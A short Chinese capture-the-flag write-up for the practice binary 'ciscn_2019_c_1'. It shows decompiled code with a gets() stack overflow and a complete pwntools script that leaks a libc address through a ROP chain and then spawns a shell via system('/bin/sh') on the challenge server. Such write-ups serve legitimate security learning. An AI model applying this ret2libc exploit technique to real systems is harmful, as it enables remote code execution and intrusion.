64位程序,libc泄露的题型
    选项一函数有漏洞(gets),可溢出

    1. int encrypt()
    2. {
    3. size_t v0; // rbx@12
    4. char s[80]; // [sp+0h] [bp-50h]@1
    5. memset(s, 0, 0x30uLL);
    6. *(_WORD *)&s[48] = 0;
    7. puts("Input your Plaintext to be encrypted");
    8. gets((__int64)s);
    9. while ( 1 )
    10. {
    11. v0 = (unsigned int)x;
    12. if ( v0 >= strlen(s) )
    13. break;
    14. if ( s[x] <= 96 || s[x] > 122 )
    15. {
    16. if ( s[x] <= 64 || s[x] > 90 )
    17. {
    18. if ( s[x] > 47 && s[x] <= 57 )
    19. s[x] ^= 0xFu;
    20. }
    21. else
    22. {
    23. s[x] ^= 0xEu;
    24. }
    25. }
    26. else
    27. {
    28. s[x] ^= 0xDu;
    29. }
    30. ++x;
    31. }
    32. puts("Ciphertext");
    33. return puts(s);
    34. }

    然后通过rop链泄露put真实地址,再通过libc版本获得基地址
    大致流程图
    image.png
    泄露地址后在通过基地址调用 system 攻击

    1. from pwn import *
    2. from LibcSearcher import *
    3. content = 0
    4. context(os='linux', arch='amd64', log_level='debug')
    5. ret = 0x4006b9
    6. elf = ELF('ciscn_2019_c_1')
    7. puts_plt = elf.plt["puts"]
    8. puts_got = elf.got['puts']
    9. main_addr = elf.symbols["main"]
    10. pop_rdi_ret = 0x400c83
    11. def main():
    12. if content == 1:
    13. peiqi = process('ciscn_2019_c_1')
    14. else:
    15. peiqi = remote('node3.buuoj.cn',29775)
    16. payload = b'a' * (0x50 + 8)
    17. payload = payload + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
    18. payload = payload + p64(main_addr)
    19. #print(payload)
    20. peiqi.sendlineafter("Input your choice!\n", '1')
    21. peiqi.sendlineafter("Input your Plaintext to be encrypted\n", payload)
    22. peiqi.recvuntil('Ciphertext\n')
    23. peiqi.recvline()
    24. puts_addr = peiqi.recv(7)[:-1]
    25. puts_addr = u64(puts_addr.ljust(8,b'\x00'))
    26. print(puts_addr)
    27. libc = LibcSearcher('puts', puts_addr)
    28. libc_base = puts_addr - libc.dump('puts')
    29. system_addr = libc_base + libc.dump('system')
    30. binsh_addr = libc_base + libc.dump('str_bin_sh')
    31. payload = b'a' * (0x50 + 8)
    32. payload = payload + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
    33. peiqi.sendlineafter("Input your choice!\n", '1')
    34. peiqi.sendlineafter("Input your Plaintext to be encrypted\n", payload)
    35. peiqi.interactive()
    36. main()

    需要注意的是 ubuntu18 栈对齐,要加个ret函数
    image.png